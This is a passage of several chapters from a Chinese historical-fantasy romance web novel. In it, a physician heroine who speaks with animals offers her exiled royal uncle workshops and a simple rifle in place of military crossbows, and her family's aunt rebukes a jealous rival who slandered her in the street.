“娘不敢提。”林芷柔淡淡开口,语气中带着几分沉重,“那是她心中的禁忌。” 柳雅芝闻言身子微微一颤,目光下意识看向窗外。夕阳的余晖映照在她的脸上,那张饱经沧桑的面容上,浮现出一丝难以察觉的悲伤。 柳芝黄看向这个举手投足间自带威仪的外甥女,心中一震。这丫头,不仅医术了得,连这份洞察力也是非同一般。她仿佛天生就该生在那个地方,可偏偏... 宁涵凤站在厨房门口,望着堂屋里的三人。 她知道自己该回避,这种时候,一个儿媳妇不该在场。 “娘,我来帮您。”她转身走进厨房,木质地板发出轻微的吱呀声。 柳雅芝正在择菜,听到脚步声抬头看了看,眼角的皱纹里都是笑意。这个儿媳妇懂事,从不让人操心。案板上的青菜还带着露水,散发着清新的气息。 堂屋里,林芷柔坐在太师椅上,一袭淡青色长裙衬得她愈发清雅。她目光如炬地看着对面的柳芝黄:“舅舅此行,是为了飞火连珠弓而来吧?” 这句话像一记重锤,让柳芝黄浑身一震。他下意识攥紧了衣袖,指节泛白。他没想到外甥女如此直接,更没想到她一语道破自己的心思。 “柔柔,这种事情......”柳芝黄的声音有些发涩,欲言又止。 “舅舅不必遮掩。”林芷柔轻轻摇头,茶杯里的水面泛起细微的涟漪,“您想夺回属于自己的皇位,没有利器在手,如何成事?” 一旁的林文昂忍不住笑出声。 “噗嗤!” 这一声笑,引来林芷柔凌厉的目光。阳光下,那双眼睛仿佛淬了冰。 林文昂立刻噤声,缩了缩脖子。大姐的眼神太可怕了,他缩在角落里,像个做错事的孩子。 柳芝黄看着这一幕,若有所思。这个外甥女,在家中地位不一般啊。 厨房里,宁涵凤正在切菜。刀刃与案板相击,发出规律的声响。她想起了在宁家的日子,那时候,她从不会做这些事。 “涵凤啊,”柳雅芝的声音打断了她的思绪,“你这切菜的手艺越来越好了。” 宁涵凤抬头,看到婆婆慈祥的笑容,心里一暖。在这里,没人嘲笑她的病,也没人因她是宁家大小姐而巴结她。她就是林家的儿媳妇,平平常常,简简单单。 堂屋里的谈话仍在继续。 “柔柔说得对。”柳芝黄叹了口气,目光落在窗外的远山上,“没有强大的武器,我如何与蓝澜玉抗衡?那个女人,她夺走了本该属于我的一切。” “所以,您想买飞火连珠弓。”林芷柔的声音依旧平静,仿佛在谈论今天的天气。 “是。”柳芝黄的声音里带着几分苦涩。 “这个简单。”林文昂突然从角落里蹦出来,“我姐就能帮您。飞火连珠弓就是她研究出来的。” 柳芝黄猛地站起身,太师椅被撞得向后移了几寸:“什么?” 他难以置信地看着林芷柔。飞火连珠弓不是云陵伯府的东西吗?他的目光在外甥女脸上搜寻着,想要找出一丝破绽。 “文昂,别胡说。”林芷柔瞪了弟弟一眼,眼神里带着警告。 但林文昂不依不饶:“姐,我说的是实话。庄子上那些作坊,那些新奇玩意儿,哪个不是你想出来的?你别总是藏着掖着。” 柳芝黄的目光在两人之间来回游移。他忽然想起姐姐说过,这个外甥女极有本事,做什么都能成。难道......真的是她? 厨房里,宁涵凤听着堂屋的动静,手上的动作不停。她想起丈夫曾经说过,大姐有多么厉害,那些作坊里的东西都是她想出来的。 “柔柔,你真能帮舅舅?”柳芝黄的声音里带着期待。 “不能。”林芷柔很干脆,“军用武器,私下交易是要掉脑袋的。” 柳芝黄的心一下子沉到谷底,他重重地坐回椅子上,仿佛一下子老了十岁。 “但是......”林芷柔话锋一转,“舅舅若想在东吴开设酿酒作坊、制糖作坊,我倒是可以帮忙。” 柳芝黄一愣。他看着外甥女平静的面容,忽然明白了什么。这个小丫头,是在给他指路啊。没有武器,难道就不能成事了吗?世事多变,路子多得是。 “好!”柳芝黄重重点头,眼中闪烁着异样的光芒,“就听外甥女的。” 林芷柔微微一笑,端起茶杯抿了一口。 窗外,一阵风吹过,带来远处作坊的炊烟。那是林家的产业,也是林芷柔的心血。她放下茶杯,看着窗外的景色,眼神深邃。 厨房里,宁涵凤已经把菜都准备好了。她站在灶台前,看着锅里翻腾的水花。在这里,她找到了自己的位置。每天早起帮婆婆做饭,跟着丈夫去庄子上看作坊,晚上回来陪全家人吃饭。 这样的日子,比在宁家时不知道舒心多少倍。想到这里,她嘴角不自觉地扬起。灶火映红了她的脸,也映红了她的心。 柳雅芝在一旁和面,面团在她手中渐渐成型。厨房里飘着面粉的香气,混合着灶火的温度,让人感到安心。 堂屋里的谈话还在继续,但宁涵凤已经不再关注了。她专注地看着锅里的汤,小心地撇去浮沫。这就是她现在的生活,平淡而充实。 第一百四十五章 外甥女的本事 柳芝黄望着眼前的外甥女,心中涌起一股暖流。这个丫头,聪慧过人,极有本事。 茶香袅袅升起,柳芝黄端起茶杯,轻轻抿了一口。浓郁的香气在口中蔓延,让他不由得眯起了眼睛。 “柔柔,这香油和菜油也是你琢磨出来的?”柳芝黄放下茶杯,眼角微微泛红,声音中带着几分感慨,“你不是专研医术吗?怎么对这些吃食也这般上心?” 林文昂坐在一旁,听到舅舅的问话,立刻兴奋地接过话头:“舅舅有所不知,我姐能听懂鸟语,许多奇奇怪怪的事儿都是她的鸟儿们告诉她的!”说着,还不忘得意地看了眼姐姐。 “什么?”柳芝黄猛地坐直了身子,瞪大了眼睛,拖长声音问道,“柔柔,你真能听懂鸟语?” 林芷柔微微一笑,:“是的,从小就有这个本事。”她顿了顿,又补充道,“不过这事知道的人不多。” 柳芝黄闻言,突然“扑通”一声跪倒在地,朝着东吴方向连连叩首,激动得声音都有些颤抖:“祖宗保佑!祖宗保佑!柳家有望了!” 屋内的气氛一时凝固。林芷柔见惯了古人动辄下跪的礼数,倒也不觉得奇怪。倒是林文昂被吓了一跳,连忙上前搀扶:“舅舅,地上凉,快起来!这是怎么了?” 柳芝黄任由林文昂扶起,却仍然激动不已,眼中闪烁着泪光:“柔柔,你可知道,东吴开国之初,也曾出现过一位通晓鸟语的公主。她带领百姓开荒种地,修建水利,让东吴从战乱中重新焕发生机。” “哦?”林芷柔饶有兴趣地挑眉,“原来还有这样的典故。”她轻轻摩挲着手中的茶杯,“不过舅舅,我不止能听懂鸟语,我能听懂所有动物的语言。只是小时候村里人都说我是灾星,所以这事知道的人不多。” “胡说八道!”林文昂一拍桌子,怒气冲冲地说道,“那些家伙真是无知,今天村长送鸡鸭来,我都懒得搭理。姐姐这样的本事,那是天赐的福分!” 林芷柔看着弟弟气呼呼的样子,不禁莞尔。她伸手揉了揉弟弟的头发:“好了,都过去的事了。” 就在这时,门外传来脚步声。楚星河提着两只鸟笼走了进来,笼中是两只神骏的鹰隼。阳光下,鹰隼的羽毛泛着金属般的光泽。 “柔柔,你要的鹰隼到了。”楚星河将笼子放在林芷柔面前,目光温柔地看着她。 林芷柔掀开笼子上的布,只见两只鹰隼目光锐利,神态高傲。它们的眼神中透着一股野性,丝毫不畏惧人类的注视。 一只乌鸦不知从何处飞来,落在窗台上,好奇地打量着笼中的鹰隼:“主人,这是新朋友吗?看起来好凶啊。” 那只雄性鹰隼立刻不满地叫道:“什么主人?区区人类,也配做我们的主人?就连那个抓我们的人,也不过是仗着些许伎俩罢了!” 林芷柔轻笑:“我可是你们的主宰。” 鹰隼吓得羽毛倒竖,惊恐道:“你...你能听懂我说话?” “不止能听懂,还要给你取个名字。”林芷柔看着鹰隼头上夹杂的几根黄毛,眼中带着笑意,“就叫你黄毛吧。” “不行!”鹰隼气急败坏地扑腾着翅膀,“我叫青羽!这是我们族群给我的名字!” “噗嗤!”林芷柔忍俊不禁,“好,那就叫青羽。”她转向另一只鹰隼,“你呢?有什么名字?” “灵灵!”青羽急切地喊道,声音中带着几分自豪,“是我给夫人取的名字,它叫灵灵。这名字好听吧?” 林芷柔微微一笑,眼角泛起温柔的弧度:“确实是个好名字。”她的手指轻轻划过笼子的铁栏,鹰隼顺着她的动作微微偏头,流露出几分亲昵。 林芷柔小心翼翼地将盖着笼子的布轻轻放下,转头对萤萤使了个眼色。 萤萤会意,悄无声息地将青羽和灵灵收进锦囊。随后,林芷柔又看向那五只小鹰隼,在布落下的瞬间,它们也消失在众人眼前。 锦囊内山清水秀,仙露潺潺流淌,鸟语花香。由萤萤照看这些鹰隼再合适不过,等它们适应了新环境,再训练成为可靠的信使。 楚星河早已洞悉林芷柔的意图,为了不引起家人怀疑,他麻利地将两个空笼子提了出去,示意楚云楚雨将其放进马车。 就在这时,林小七从车辕上一跃而下,紧跟着楚星河的脚步进了仁心医馆。它那高大的身影在昏暗的灯光下显得格外威武,每一步都透着警惕。 医馆内早已没了病患,但林小七的突然出现却让柳芝黄的管家魂飞魄散。这头体型惊人的影豹显然认得管家的气息,一见到他就露出凶相,龇牙咧嘴地扑了上去。 管家吓得连连后退,脚下一个踉跄差点摔倒。幸好楚星河及时喝止,否则管家的胳膊恐怕难保。 “林小七!住手!那是客人,快停下!”楚星河的声音中带着不容置疑的威严。 听到“客人”二字,林小七那即将合拢的利齿硬生生停在半空。管家僵在原地,脸色惨白如纸,额头上冷汗直冒。 他刚才只是站在旁边看了会儿鹰隼,哪里料到这头黑狼会突然发难。那闪电般的速度,那森森白牙,若真咬实了,他的手臂定然粉碎。想到这里,管家的后背又是一阵发凉。 “林小七!进来!”后院传来林芷柔清脆的呼唤。 林小七立即收起凶相,尾巴一摇一摆地跑进后院,还不忘回头告状:“他是坏人,半夜偷偷来过,被我发现了。”那副模样,活像个邀功的孩子。 林芷柔看了眼舅舅,眼中满是促狭,轻声安抚道:“那是舅舅的人。”她伸手揉了揉林小七的脑袋,后者顿时眯起眼睛,发出舒服的呜呜声。 柳芝黄见到林小七时,不由有些尴尬。他没想到训狼的竟是外甥女,更没想到她能听懂兽语,知晓管家夜访之事。这让他不禁有些无地自容。 “是个误会。”柳芝黄干笑着解释,“那时舅舅只是想弄清楚,你为何知道你娘的事。” 林文昂听罢,不由得大笑起来:“所以你派人来打探,却被林小七发现了?这家伙记性好得很,见过的人都记得。”他的笑声中带着几分得意,显然对林小七的表现十分满意。 管家尴尬地站在一旁,脸上的表情精彩纷呈。他也没想到大公主家竟养着一头通人性的狼,这让他不由得庆幸当初没有轻举妄动。 第一百四十六章 给舅舅的利器 柳雅芝适时出来唤大家用饭,见到林小七便亲昵地摸了摸它的头。林小七顿时像只大狗般呜呜轻叫,伸出舌头舔她的手,那副乖巧的模样与方才判若两狼。 饭桌上,柳芝黄和管家作陪,楚星河也留了下来。桌上摆满了各式菜肴,香气四溢。 这是柳芝黄第一次与大姐同桌用餐,激动之情溢于言表。姐弟俩你夹我爱吃的,我夹你喜欢的,默契得仿佛从未分离。那些年少时光仿佛又回到眼前,让人不禁有些恍惚。 林山静静看着这一幕,心道小舅子待自家娘子确实用心,多年过去依然记得她的口味。这份情谊,让他也不由得动容。 饭后,柳雅芝让儿子们帮忙收拾房间。屋内烛光摇曳,映照着众人忙碌的身影。 楚星河趁机带着林芷柔来到屋顶,月光如水般洒落,将两人的身影拉得很长。他轻声道:“东吴局势不妙,舅舅想重新掌握皇权,估计没那么简单。” 林芷柔凝视着远处的夜色,:“带我去那晚试枪的地方。” “好。”楚星河应声,随即将林芷柔轻轻抱起,向城外飞去。 两人的身影在楚色中若隐若现。到了目的地,林芷柔从锦囊取出一把老式猎枪递给楚星河:“舅舅想买飞火连珠弓被我拒绝了,你觉得把这个给他如何?” 楚星河接过枪,仔细研究片刻,有些惊讶地问道:“这也是一种枪?” “对。”林芷柔接过枪,熟练地拉动枪栓,“威力不大,使用起来也不太方便,但结构简单,容易制造。”她的动作干净利落,显然经过多次练习。 “砰”的一声,几片树叶应声而落,在月光下缓缓飘零。 她将枪递还给楚星河,语气平静:“舅舅表示他不想引发大规模战争,只想找件震慑人心的武器。这把枪虽然简陋,但足以达到目的。” “确实能减少伤亡,快速夺权。”楚星河赞同道,随即又皱眉,“但这东西的来历该如何解释?” “无需解释。”林芷柔神色坦然,月光下的面容透着几分决绝,“我会直说,让他别问缘由。制造星弩助他夺回属于自己的东西,也算了却我娘的心愿。” 楚星河握枪瞄准,“砰”的一声打落几根树枝。枪声在楚色中回荡,惊起几只楚鸟。 他拉着林芷柔坐下,语气中带着几分担忧:“柔柔,此事要三思。你拿出的东西太过惊人,稍有不慎就是灭顶之灾。” “不会。”林芷柔摇头,目光坚定,“我明白你的担忧。我会让舅舅保密,除了星弩,那批银锭也给他。有钱有武器,若还夺不回政权,那简直太无能了。至于天玄帝都,我不会留下任何痕迹。除了你,我谁也没告诉。你是我的人,我信任你,也不会连累家人。” 楚星河伸手替她拢了拢被风吹乱的头发,轻声道:“我很感激你的信任。”他将她搂入怀中,挡住夜风,“你考虑周全,安排妥帖,很好。但楚王没拿到连珠弓图谱,不会善罢甘休。若让他知道武器出自你手,恐怕会对你不利。” “他不敢,我死了他也活不成。”林芷柔叹了口气,语气中带着几分无奈,“我最怕他对我家人动手。若真到那一步,我必与他不死不休。” “不,你要保护好自己和家人。”楚星河轻拍她的背,声音坚定,“楚王的事,交给我。” 月光下,两人的身影渐渐融为一体,只余下晚风轻轻呜咽,诉说着无尽的担忧与期待。 林芷柔打了个寒战,下意识地环顾四周。 萤萤动作麻利地将地上的星弩收好,一边整理周边散落的物件,一边担忧地看着自家主子。月光下,林芷柔的脸色显得有些苍白。 “冷了?”楚星河的声音突然在耳边响起,温热的气息拂过她的耳畔。不等她回答,一双有力的手臂已将她拥入怀中。 林芷柔微微一怔,随即放松下来。她能感受到他胸膛传来的温度,还有那令人安心的心跳声。 “我们去医馆屋顶吧。”楚星河轻声说道,语气中带着几分宠溺。 他的身形如鬼魅般掠过夜空,轻盈得仿佛一片羽毛。月光为他镀上一层银边,更添几分神秘莫测。片刻后,两人已稳稳落在仁心医馆的屋顶。 林芷柔习惯性地找了个舒服的位置坐下。她仰头望着满天繁星,忽然觉得眼皮越来越重。 “困了?”楚星河察觉到她的疲惫,轻轻将她的头靠在自己肩上。 “嗯...”林芷柔迷迷糊糊地应了一声,很快就陷入梦乡。 楚星河小心翼翼地解开外衣,把她包裹得紧紧的。他低头看着怀中熟睡的人儿,眼中溢满温柔。月光下,她的睫毛投下淡淡的阴影,像蝴蝶翅膀般轻颤。 这样的夜晚总让人心安。只要不下雨,他们就会来到这里,静静地看着星空。有时候一句话都不说,就这样依偎着,却胜过千言万语。 远处传来更夫打更的声音,楚星河轻轻抱起林芷柔,向她的房间掠去。 次日清晨,柳芝黄带着管家搬进了仁心医馆。孔福生和林文昂也在一旁帮忙,院子里一片忙碌。 “这箱子放哪儿?”孔福生抱着个大木箱,额头上沁出细密的汗珠。 “放东厢房。”柳芝黄指挥道,“小心点,里面都是瓷器。” 林芷柔站在廊下,看着众人忙进忙出。 “姑娘,该去看诊了。”丫鬟提醒道。 林芷柔点点头,整理了一下衣襟,走进诊室。今日病患不多,很快就看完了。 用过午饭,她悄悄叫出萤萤:“去准备马车,我们要去一趟城南。” “是要去那处宅院吗?”萤萤压低声音问道。 林芷柔点头:“把锦囊里的金银财宝都转移过去。” 那处宅院很是隐蔽,上次楚星河带她去时,还存放了从秦面罗刹那里缴获的物品。虽说城中太平,但财不外露的道理她还是懂的。 安置完财物已是申时,林芷柔决定趁着天色尚早,在街上走走。换上一身青衫男装的她,清雅出尘的气质引来不少目光。 “林大夫好!”路过的小贩热情地打招呼。 “林大夫,您教的方子真灵验!”一位妇人拉着孩子过来道谢。 第一百四十七章 污蔑 “林大夫,能帮我看看这伤口吗?”一个少年急匆匆地跑来,举着手腕给她看。 这是杂货铺的小伙计,前两天来看过疖子。林芷柔仔细检查着他的手腕,发现脓包已经成形。 “还没完全熟透,再等一两天。”她轻声说道,“如果疼得厉害,可以来医馆拿些止痛的药。” 就在这时,一声尖利的喊声划破了街市的宁静。 “林芷柔!你这个不知廉耻的女人!” 顾飞燕从对面的成衣铺冲了出来,脸上带着扭曲的怒意。她身着一袭淡粉色襦裙,本该是清丽脱俗的打扮,此刻却因她狰狞的表情而显得格外刺眼。 她直直地冲向林芷柔,不小心脚下一绊,摔倒在地上。 “堂堂云陵伯府的世子妃,当街打人啦。还在大街上和男人纠缠不清,你要不要脸?”她指着林芷柔和小伙计,声音尖锐得像是要刺破天际。 周围的行人纷纷驻足,议论声此起彼伏。 林芷柔眉头一皱,冷冷地看着她:“你是谁?凭什么在这里胡言乱语?” “我说的都是事实!”顾飞燕步步逼近,指着林芷柔的鼻子大骂,“你这样的行为,对得起世子吗?” “啪!” 一记清脆的耳光响起,顾飞燕捂着脸,不可置信地看着林芷柔。她的脸颊以肉眼可见的速度红肿起来。 “你...你竟然敢动手打我?”她的声音因愤怒而颤抖。 “不知好歹的东西,”林芷柔冷笑,“你以为自己是谁?楚星河的烂桃花?” 周围的人群开始窃窃私语。 “这不是顾家小姐吗?就是那个总是纠缠世子的女人。” “听说她现在到处相亲,可惜没人敢要。” “云陵伯府早就跟顾家断了来往,连庄子上的货物都不给他们了。” “啧啧,这下可真是自取其辱。” 议论声像潮水般涌来,顾飞燕脸色惨白,眼泪在眼眶中打转:“你...你们胡说!我是为了世子好!” “啪!” 又是一记耳光。 “为他好?”林芷柔冷笑,“那你现在又在这里发什么疯?” 林芷柔居高临下地看着地上的顾飞燕,眼底闪过一丝不耐。 这个顾家的表小姐,总是不安分。 顾飞燕狼狈地跌坐在地上,发髻散乱,衣裙沾满尘土。她捂着红肿的左脸,眼泪汪汪地瞪着林芷柔,那副楚楚可怜的模样引得路人纷纷驻足。 “你以为这样就能让楚星河厌弃我?”林芷柔轻笑一声,裙摆在风中微微摆动,“未免太天真了。” 顾飞燕咬着下唇,眼泪顺着脸颊滑落:“我没有,我只是看不惯你跟别的男人拉拉扯扯!你可是世子爷的未婚妻,怎能如此不知检点?” 一旁的小伙计急得满脸通红,额头上渗出细密的汗珠:“顾小姐,你这话说得太过分了!林大夫是在给我看病啊!” 他一边说着,一边撸起袖子,露出手臂上红肿的疖子:“我本想去医馆的,可店里太忙,一直耽搁着。刚好遇到林大夫经过,就想请她看看。” “就是,林大夫的医术和人品,在云州谁不知道?”围观的百姓纷纷开口。 “世子爷那般风流倜傥,林大夫怎会看上个毛头小子?” “这顾小姐分明是存心找茬!” 林芷柔听着周围的议论声,嘴角勾起一抹淡淡的笑意。她在云州行医多年,早已树立起良好的口碑,岂是顾飞燕三言两语就能败坏的? 街边的茶摊老板端着茶壶走出来,朝顾飞燕啐了一口:“我可是亲眼看见的,是你自己冲上来推林大夫,结果被绊倒在地。现在倒打一耙,真是不要脸!” 顾飞燕的脸色瞬间涨得通红,她没想到会有目击证人,这下计划全被打乱了。 “林大夫,您别跟她一般见识。”茶摊老板转向林芷柔,语气恭敬,“这种小人,不值得您生气。” 林芷柔微微颔首,目光扫过周围的街坊邻居。这些年来,她用真心实意换来了他们的信任和维护,这才是最珍贵的。 “起来吧。”林芷柔淡淡道,“看在顾夫人的面子上,这次就饶了你。” 顾飞燕狼狈地爬起身,一瘸一拐地向马车走去。她的丫鬟赶忙上前搀扶,低声安慰着什么。 看着顾飞燕离去的背影,林芷柔摇摇头。这种拙劣的小把戏,实在入不得她的眼。她转身继续查看小伙计手臂上的疖子,从荷包里取出玉针和药粉。 马车上,顾飞燕眼摸着肿胀的脸颊,心里涌起滔天的恨意。 “去太守府。”她咬牙切齿地吩咐道。 丫鬟担忧地看了她一眼:“小姐,这个时辰,姑奶奶未必肯见我们。上次您去闹,她可是连门都没让您进。” “她会见的。”顾飞燕冷笑一声,“我可是被她未来儿媳妇打的。” 马车缓缓驶向太守府,车轮碾过石板路,发出咯吱咯吱的声响。顾飞燕靠在车厢上,回想着方才的场景。她本以为只要抓住林芷柔与男子亲近的把柄,就能让楚星河对她心生芥蒂。谁知道会被那些贱民戳穿。 到了太守府门前,守门人见顾飞燕脸肿如猪头,有些不忍。他们都知道这位顾小姐是夫人的娘家侄女,但夫人早就下令不见她了。 “夫人说了不见你。”守门人板着脸说。 “求求你通报一声。”顾飞燕低声下气,“就说我被林芷柔打了。” 丫鬟会意,悄悄塞了一两银子给守门人。 太守府内,顾馨巧正与赵氏做着针线活。 “夫人,顾小姐来了,说是被世子妃打了。”嬷嬷进来禀报,语气中带着几分无奈。 顾馨巧放下手中的针线,眉头微皱:“让她进来。” “夫人莫恼。”赵氏放下手中的绣活,轻声劝道,“林大夫为人谨慎,定是有缘由的。” “我知道。”顾馨巧叹了口气,“我是气这顾飞燕,没事找事。” 她对娘家早已心灰意冷。这些年来,娘家人只会向她伸手要好处,从未替她分忧。如今又来找她未来儿媳的麻烦,这是存心要拆散她儿子的姻缘吗? 第一百四十八章 没事找事 顾飞燕快步走在太守府的青石板路上,泪水不断地从眼角滑落。寒风吹过,带着几分刺骨的凉意,却浇不灭她心中的怒火与委屈。 庭院里的梅花零星绽放,花瓣随风飘落,落在她凌乱的发丝间。她顾不得整理,只是加快脚步向前走去。每一步都像是踩在刀尖上,痛彻心扉。 太守府她来过无数次,对顾馨巧住的院子再熟悉不过。拐过回廊,穿过月亮门,眼前就是那间熟悉的正房。 屋内,赵氏正和楚星澜说着话。听到外头传来的哭声,她眉头微皱,下意识地朝女儿使了个眼色。 “澜儿,你先回去吧。” 楚星澜却纹丝不动,有些幸灾乐祸:“娘,我想看看神医嫂嫂把她打成什么样了。”她随手拿起桌上的茶盏,轻轻抿了一口。 话音未落,顾飞燕就跌跌撞撞地冲了进来。她的脸颊高高肿起,一道清晰的巴掌印清晰可见。头发散乱,衣衫也有些凌乱,看起来确实狼狈不堪。 “姑母!您得为我做主呀!”她一进门就扑通跪倒在地,眼泪鼻涕糊了一脸,看起来可怜极了。 “您看看,林芷柔把我打成什么样了!” 顾馨巧正在绣花,听到动静抬起头来,眉头紧皱:“又出什么事了?”她的语气里带着明显的不耐烦。这个侄女从小就爱耍心机,如今更是变本加厉。 “姑母,我今日在街上看到林大夫与一个男子拉拉扯扯,有损伯府名声。我好心提醒了几句,谁知她不但不听,还动手打我!”顾飞燕抽抽噎噎地说着,声音里满是委屈。 她抬起头,故意让所有人都看清楚她脸上的伤痕:“您看看,我被她打得多惨!” 赵氏放下手中的绣绷,冷笑一声:“表小姐,你确定只说了这几句?” “是啊,我就说了这么点。”顾飞燕连忙点头,眼泪掉得更凶了。 楚星澜放下茶盏,慢悠悠地开口:“表姐,街上那么多人看着,要不要我派人去打听一下?”她的语气轻松,眼神却锐利如刀。 顾飞燕心里一惊,手指不自觉地绞紧了衣角。额头上渗出细密的汗珠,她低下头,试图掩饰脸上的慌乱。 顾馨巧看向门外,“来人。” 一个小厮快步进来:“夫人。” “去街上打听打听,到底是怎么回事。” 顾飞燕的脸色瞬间变了:“姑母,您不信我?” “信你?”顾馨巧冷笑一声,“你什么德性,我还不清楚?” “飞燕,”顾馨巧冷冷地看着她,“你以为我不了解柔柔的性子?她会无缘无故动手打人?” “姑母,我真的没说别的。”顾飞燕的声音越来越小,像是蚊子哼哼。 “够了!”顾馨巧猛地拍案而起,茶盏被震得跳了一下,茶水溅在桌面上。“你当我是傻子吗?柔柔是什么样的人,我心里清楚得很!” 她站起身来,居高临下地看着跪在地上的顾飞燕:“她救了星河的命,是我亲自挑选的儿媳!你以为随便几句话就能挑拨离间?” 赵氏见气氛不对,赶紧打圆场:“夫人,不如先让人给顾小姐上些药?” 顾馨巧摆摆手:“不必了。她既然能自己找来,想必也不是什么大伤。” 顾飞燕咬着嘴唇,眼泪汪汪地看着顾馨巧:“姑母,您真的这么偏心林芷柔吗?” “偏心?”顾馨巧冷笑,“你可知道这些年,柔柔为云州做了多少事?她不但医术高明,还经常施粥救济穷人。而你呢?除了惹是生非,可曾做过一件好事?” 顾飞燕浑身一颤,眼泪啪嗒啪嗒地掉:“姑母,您真的这么讨厌我吗?”她的声音里带着几分哽咽。 “讨厌?”顾馨巧冷笑一声,“从你当初拒绝我的提议开始,我们就已经没有任何关系了。” 屋内的气氛瞬间凝固。赵氏和楚星澜对视一眼,都从对方眼中看到了几分玩味。 “你以为我不知道你打的什么主意?”顾馨巧继续说道,声音里带着讥讽,“想让我厌恶柔柔,好让你有机会嫁进伯府?” 她走到顾飞燕面前,居高临下地看着她:“你除了这些阴私手段,还会什么?” 顾飞燕脸色惨白,一句话也说不出来。她的手指紧紧抓着裙摆,指节发白。 楚星澜放下手中的茶盏,轻声说:“表姐,你真该好好想想,为什么嫂嫂会对你动手。”她的声音温柔,却带着几分锋利。 “是啊,”赵氏接过话头,“林大夫为了救治百姓,甘愿女装成男。给人把脉难免有身体接触,这叫医者仁心,可不是什么拉拉扯扯。” 这时,小厮匆匆跑回来:“夫人,打听清楚了。是顾小姐自己冲上去推林大夫,结果被绊倒在地。茶摊老板和周围的街坊都可以作证。” 顾馨巧的脸色瞬间沉了下来:“好啊,你还敢来诬陷柔柔?” “我...我...”顾飞燕慌了神,“姑母,我是真的关心世子爷...” “够了!”顾馨巧厉声打断她,“你要是真的关心星河,就该收敛些,别整天惹是生非。从今往后,你若再敢找柔柔的麻烦,就别怪我不念亲情!” 顾馨巧看着地上的顾飞燕,目光中满是失望:“你走吧,以后不要再来了。” 顾飞燕呆坐在地上,眼泪止不住地往下掉。她的目光呆滞,像是丢了魂一般。 她怎么也没想到,姑姑会如此绝情。冰冷的石阶硌得她膝盖生疼,可这疼痛却远不及心中的苦楚。 “姑姑,求您再给我一次机会...”她的声音带着哽咽,手指紧紧抓着门框,指节泛白。 太守夫人站在台阶上,目光冷漠地看着跪在地上的侄女。昔日那个骄傲的小姑娘,如今却像个卑微的乞讨者。可她的心早已被伤透,再也不会心软。 “飞燕,你走吧。”太守夫人的声音平静得可怕,“从今以后,我们再无瓜葛。” “姑姑!”顾飞燕猛地抬头,泪水模糊了视线,“我知道错了,我不该说那些话,求您原谅我...” “错了?”太守夫人冷笑一声,“当初你说"表哥如今这般模样,即便是世子之位,又有几个名门闺秀愿意嫁"的时候,可曾想过会有今天?” 顾飞燕浑身一颤,那些刺耳的话语仿佛又回响在耳边。她确实说过这些话,可那时的她被姑姑逼得走投无路,一时气急才说出那样的话来。 “我...”她张了张嘴,却不知该如何辩解。 “够了。”太守夫人挥了挥手,“你走吧,以后不要再来了。” 第一百四十九章 星弩 屋外的风吹动窗棂,发出咯吱咯吱的响声。院子里的梅花依旧在飘落,花瓣打着旋儿,落在地上。 顾飞燕慢慢站起身来,脚步虚浮地向外走去。她的背影看起来格外萧索,像是一片飘零的落叶。泪水模糊了她的视线,她却倔强地不肯抬手擦拭。 她怎么也没想到,曾经最疼爱她的姑母,如今会这样无情地对待她。更没想到,一个林芷柔,竟然能让姑母对她彻底失望。 太守夫人看着她远去的背影,抬手揉了揉太阳穴,想起当初是如何将这个侄女从小养在身边,视如己出。心里满是落寞。 赵氏轻声叹了口气:“这孩子,怎么就这么不开窍呢?” 楚星澜端起茶盏,轻轻抿了一口:“娘,您别管她了。她这是自作自受。” 顾馨巧长叹一声:“这些娘家人,真是一个比一个不省心。” 赵氏安慰道:“夫人别生气,气坏了身子不值得。” “我哪里还敢生气?”顾馨巧苦笑,“就怕她们坏了星河的好事。柔柔那孩子,我是越看越满意。” 赵氏点点头:“是啊,林大夫医术好,人品也好,最难得的是心地纯良。这样的儿媳妇,打着灯笼都难找。” 顾馨巧看向窗外,春日的阳光依旧明媚。她在心中暗暗祈祷,希望儿子和柔柔的姻缘能够顺遂,不要被这些小人破坏了。 顾馨巧重新坐下,拿起绣绷继续绣花。针线穿梭间,她的眉头始终紧皱着。 “夫人。”身后传来管家的声音,“林小姐来了。” 太守夫人的眼神瞬间亮了起来,脸上浮现出笑意:“快请她进来。” 林芷柔穿着一身月白色的男装,英姿飒爽地走了进来。她的目光扫过地上未干的泪痕,眉头微微皱起。 “柔柔来了。”太守夫人拉着她的手,满脸慈爱,“今日可是受了委屈?” “伯母说笑了。”林芷柔嘴角勾起一抹淡淡的笑意,“我这人向来不会受委屈。” 太守夫人看着她这副从容不迫的模样,越发满意:“你这性子,比那顾飞燕强多了。” 林芷柔不置可否地笑了笑,目光却落在了院子里的梅树上。那树上开着几朵傲雪的红梅,在寒风中摇曳。 “星河呢?”她随口问道。 “在书房。”太守夫人叹了口气,“这孩子,自从病好了就整日泡在书房里,也不知在研究些什么。” 林芷柔点点头,她当然知道楚星河在做什么。那些医书和药方,都是她偷偷给他的。虽然他的病已经好了,但要想彻底摆脱那些后遗症,还需要继续调养。 “我去看看他。”林芷柔说着就要往书房走。 “去吧去吧。”太守夫人笑着摆手,“你们小两口说说话。” 林芷柔的脚步微微一顿,嘴角勾起一抹若有若无的笑意。她推开书房的门,就看见楚星河正伏案疾书。 听到开门声,楚星河抬起头来,看清是林芷柔,眼中立刻浮现出笑意:“你来了。” “在写什么?”林芷柔走到他身边,低头看向桌上的纸张。 “在整理你给我的那些药方。”楚星河放下笔,“我发现这些方子里有很多独特的见解,想要好好研究一下。” 林芷柔看着他认真的样子,心中涌起一丝暖意。这个男人,总是能给她带来意外的惊喜。 “今晚有空吗?”她突然问道。 楚星河愣了一下:“怎么了?” “给你看个东西。”林芷柔神秘地笑了笑。 仁心医馆的屋顶上,林芷柔将一支星弩放在楚星河面前。 “这是什么?”楚星河好奇地打量着这个奇怪的物件。 “这叫星弩。”林芷柔的手指灵活地在星弩上游走,“它的威力,比你见过的任何武器都要强大。” 楚星河看着她娴熟地将星弩拆解又组装,眼中有着一丝惊讶:“你从哪里学来的这些?” “这个嘛...”林芷柔神秘地笑了笑,“以后你就知道了。” 就在这时,楼下传来脚步声。林芷柔迅速将星弩收起,转头看去,是柳芝黄和柳雅芝。 “娘,舅舅。”她笑着打招呼。 柳芝黄看着她,眼中带着期待:“柔柔,你找我有事?” “是有点事想和舅舅商量。”林芷柔点点头,“不过不是现在。” 柳雅芝看着侄女神秘的样子,忍不住笑道:“你这丫头,又在打什么主意?” “好事。”林芷柔眨了眨眼,“保证让舅舅满意。” 柳芝黄和柳雅芝对视一眼,都从对方眼中看到了笑意。这个外甥女,总是能给他们带来惊喜。 